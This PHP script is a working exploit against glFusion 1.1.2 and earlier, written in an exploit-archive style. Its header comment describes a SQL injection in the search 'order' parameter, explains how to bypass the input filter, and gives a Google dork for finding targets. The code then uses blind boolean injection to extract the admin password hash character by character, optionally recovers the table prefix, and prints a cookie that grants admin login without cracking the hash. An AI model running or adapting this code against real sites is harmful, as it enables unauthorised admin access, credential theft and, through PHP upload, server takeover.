<?php
    /*
    glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
    by Nine:Situations:Group::bookoo
     
    working against Mysql >= 4.1
    php.ini independent
     
    our site: http://retrogod.altervista.org/
    software site: http://www.glfusion.org/
     
    google dork: "Page created in" "seconds by glFusion" +RSS
     
    Vulnerability, sql injection in 'order' and 'direction' arguments:
    look ExecuteQueries() function in /private/system/classes/listfactory.class.php, near line 336:
    ...
     
    // Get the details for sorting the list
    $this->_sort_arr['field'] = isset($_REQUEST['order']) ? COM_applyFilter($_REQUEST['order']) : $this->_def_sort_arr['field'];
    $this->_sort_arr['direction'] = isset($_REQUEST['direction']) ? COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
    if (is_numeric($this->_sort_arr['field'])) {
    $ord = $this->_def_sort_arr['field'];
    $this->_sort_arr['field'] = SQL_TITLE;
    } else {
    $ord = $this->_sort_arr['field'];
    }
     
    $order_sql = ' ORDER BY ' . $ord . ' ' . strtoupper($this->_sort_arr['direction']);
    ...
     
    filters are inefficient, see COM_applyFilter() which calls COM_applyBasicFilter()
    in /public/lib-common.php near line 5774.
     
    We are in an ORDER clause and vars are not surrounded by quotes,
    bad chars are ex. "," , "/" ,"'", ";", "\",""","*","`"
    but what about spaces and "("... you can use a CASE WHEN .. THEN .. ELSE .. END
    construct instead of ex. IF(..,..,..) and "--" instead of "/*" to close
    your query.
    And ex. the alternative syntax SUBSTR(str FROM n FOR n) instead of
    SUBSTR(str,n,n) in a sub-SELECT statement.
    Other attacks are possible, COM_applyFilter() is a very common used one.
     
    Additional notes: 'direction' argument is uppercased by strtoupper(),
    you know that table identifiers on Unix-like systems are case sensitives
    but not on MS Windows, however I choosed to inject in the 'order' one
    for better results.
    Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
    $_COOKIE[], which is not intended I suppose.
     
    This exploit extracts the hash from users table; also note that you do
    not need to crack the hash, you can authenticate as admin with the
    cookie:
     
    glfusion=[uid]; glf_password=[hash];
     
    as admin you can upload php files in public folders!
     
    Very soft mitigations: glFusion does not show the table prefix in sql
    errors, default however is 'gl_'. I prepared a fast routine to extract
    it from information_schema db if availiable.
    To successfully interrogate MySQL you need at least 2 records in the
    same topic section, however the default installation create 2 links with
    topic "glFusion"
     
    */
     
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
     
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
         false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             nil;
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             nil;
        }
    }
     
    function syntax() {
        print (
        "Syntax: php ".$argv[0]." [host] [path] [[port]] [OPTIONS]                \n". "Options:                                                                 \n". "--port:[port]       - specify a port                                     \n". "                      default->80                                      \n". "--prefix            - try to extract table prefix from information.schema\n". "                      default->gl_                                     \n". "--uid:[n]           - specify an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy                                          \n". "--enforce           - try even with 'not vulnerable' message             ");
        die();
    }
     
    error_reporting(E_ALL ^ E_NOTICE);
    $host = $argv[1];
    $path = $argv[2];
    $prefix = "gl_";
    //default
    $uid = "2";
    $where = "uid=$uid"; //user id, usually admin, anonymous = 1
     
    $argv[2] ? print("[*] Attacking...\n") :
     syntax();
    $_f_prefix = false;
    $_use_proxy = false;
    $port = 80;
    $_enforce = false;
     
    for ($i = 3; $i < $argc; $i++) {
        if (stristr($argv[$i], "--prefix")) {
            $_f_prefix = true;
        }
        if (stristr($argv[$i], "--proxy:")) {
            $_use_proxy = true;
            $tmp = explode(":", $argv[$i]);
            $proxy_host = $tmp[1];
            $proxy_port = (int)$tmp[2];
        }
        if (stristr($argv[$i], "--port:")) {
            $tmp = explode(":", $argv[$i]);
            $port = (int)$tmp[1];
        }
        if (stristr($argv[$i], "--enforce")) {
            $_enforce = true;
        }
        if (stristr($argv[$i], "--uid")) {
            $tmp = explode(":", $argv[$i]);
            $uid = (int)$tmp[1];
            $where = "uid=$uid";
        }
    }
     
    $url = "http://$argv[1]:$port";
     
    function _s($url, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
     
    function chk_err($s) {
        if (stripos ($s, "\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")) {
            return true;
        } else {
            return false;
        }
    }
     
    function xtrct_tpc($_h) {
        $_x = explode("\x69\x6e\x64\x65\x78\x2e\x70\x68\x70\x3f\x74\x6f\x70\x69\x63\x3d", $_h);
        $_y = array();
        for ($i = 1; $i < count($_x); $i++) {
            $_tmp = explode("\x22", $_x[$i]);
            if ((!in_array($_tmp[0], $_y)) and ($_tmp[0] <> '')) {
                $_y[$i] = $_tmp[0];
            }
        }
        return $_y;
    }
     
    $url = "http://$host:$port".$path."index.php";
    $out = _s($url, "");
    $_tpcs = xtrct_tpc($out);
    $_types = array("links", "stories", "filemgmt", "forum");
    $_t = false;
    for ($i = 0; $i < count($_tpcs); $i++) {
        for ($j = 0; $j < count($_types); $j++) {
            $url = "http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=25&mode=search";
            $out = _s($url, "");
            $mtchs = explode("\x3e\x32\x2e", $out);
            if (count($mtchs) == 2) {
                $_t = true;
                break;
            }
        }
    }
     
    if ($_t == true) {
        $type = $_types[$j];
        $topic = $_tpcs[$i];
    } else {
        $type = "links";
        //section with at least 2 records of the same topic
        $topic = "glFusion";
        //existing topic in section
    }
     
    print("[*] topic->'".$topic."', type->'".$type."'\n");
    $prepend = "query=&topic=".$topic."&keyType=phrase";
     
    //checking for vulnerability existence ...
    $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order=";
    $_d = "order=--;";
    $out = _s($url, $_d);
     
    //version compatibility
    if (stripos($out, "\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73")) {
        $prepend = "query=a+a+a&topic=0&keyType=all";
        $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search";
        $out = _s($url, $_d);
    }
     
    if (chk_err($out)) {
        print("[*] Vulnerable ...\n");
    } else {
        print("[!] Not vulnerable ...\n");
        if (!$_enforce) {
            die;
        }
    }
     
    switch ($type) {
        case $_types[0]:
        $_order = array("id", "url", "description", "title", "hits", "date", "uid");
        break;
        case $_types[1]:
        $_order = array("id", "title", "description", "date", "uid", "hits", "url");
        break;
        case $_types[2]:
        $_order = array("id", "uid", "comments", "hits", "date", "description", "url");
        break;
        case $_types[3]:
        $_order = array("id", "name", "forum", "date", "title", "description", "hits", "uid");
        break;
         
    }
     
    function xtrct_lnk($_h) {
        $_x = explode("\x3e\x31\x2e", $_h);
        $_x = explode("\x3c\x61\x20\x68\x72\x65\x66\x3d\x22", $_x[1]);
        $_x = explode("\x22", $_x[1]);
        return html_entity_decode($_x[0]);
    }
     
    //checking for exploitability ...
    $sql = urlencode("(CASE WHEN (SELECT 1) THEN 1 ELSE 1 END) LIMIT 1--");
    $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
    $_d = "order=".$sql.";";
    $out = _s($url, $_d);
    if (chk_err($out)) {
        die("[!] Mysql < 4.1 ...");
    } else {
        print "[*] Subquery works, exploiting ...\n";
    }
     
    $_lnks = array();
    $v = array();
    for ($i = 0; $i < count($_order); $i++) {
        $sql = urlencode("$_order[$i] LIMIT 1--");
        $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
        $_d = "order=".$sql.";";
        $_o = _s($url, $_d);
        $l = xtrct_lnk($_o);
        if (!in_array($l, $_lnks)) {
            array_push($_lnks, $l);
            array_push($v, $_order[$i]);
        }
        if (count($v) > 1) {
            print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records, good! \n";
            break;
        }
    }
     
    if (count($v) <= 1) {
        die("[!] Unable to interrogate database: ".count(v)." record(s) in table ... need at least 2 with topic '".$topic." in section '".$type."' !");
    }
     
    function find_prefix() {
        global $_lnks , $v, $type, $host, $port, $path, $prepend;
        $_table_name = "";
        $j = 1;
        print "[*] Table name->";
        while (!strstr($_table_name, chr(0))) {
            $mn = 0x00;
            $mx = 0xff;
            while (1) {
                if (($mx + $mn) % 2 == 1) {
                    $c = round(($mx + $mn) / 2) - 1;
                } else {
                    $c = round(($mx + $mn) / 2);
                }
                $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) >= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
                $_d = "order=".$sql.";";
                $_o = _s($url, $_d);
                if (chk_err($_o)) {
                    die("\n[!] information_schema not availiable!");
                }
                $l = xtrct_lnk($_o);
                if ($l == $_lnks[0]) {
                    $mn = $c;
                } else {
                    $mx = $c - 1;
                }
                 
                if (($mx-$mn == 1) or ($mx == $mn)) {
                    $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(TABLE_NAME FROM $j FOR 1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                    $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
                    $_d = "order=".$sql.";";
                    $_o = _s($url, $_d);
                    $l = xtrct_lnk($_o);
                    if ($l == $_lnks[0]) {
                        print chr($mn);
                        $_table_name .= chr($mn);
                    } else {
                        print chr($mx);
                        $_table_name .= chr($mx);
                    }
                    break;
                }
            }
            $j++;
        }
        print "\n";
        $_prefix = str_replace("trackbackcodes", "", $_table_name);
        return $_prefix;
    }
     
    if ($_f_prefix == true) {
        $prefix = find_prefix();
        print "[*] Table prefix->".$prefix."\n";
    }
     
    $c = array();
    $c = array_merge($c, range(0x30, 0x39));
    $c = array_merge($c, range(0x61, 0x66));
    print "[*] hash->";
    $_hash = "";
    for ($j = 1; $j < 0x21; $j++) {
        for ($i = 1; $i <= 0xff; $i++) {
            $f = false;
            if (in_array($i, $c)) {
                $sql = urlencode("(CASE WHEN (SELECT (ASCII(SUBSTR(passwd FROM $j FOR 1))=$i) FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1--");
                $url = "http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
                $_d = "order=".$sql.";";
                $_o = _s($url, $_d);
                if (chk_err($_o)) {
                    die("\n[!] wrong table prefix!");
                }
                $l = xtrct_lnk($_o);
                if ($l == $_lnks[0]) {
                    $f = true;
                    $_hash .= chr($i);
                    print chr($i);
                     break;
                }
            }
        }
        if ($f == false) {
            die("\n[!] Unknown error ...");
        }
    }
    print "\n[*] your cookie->glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";
?>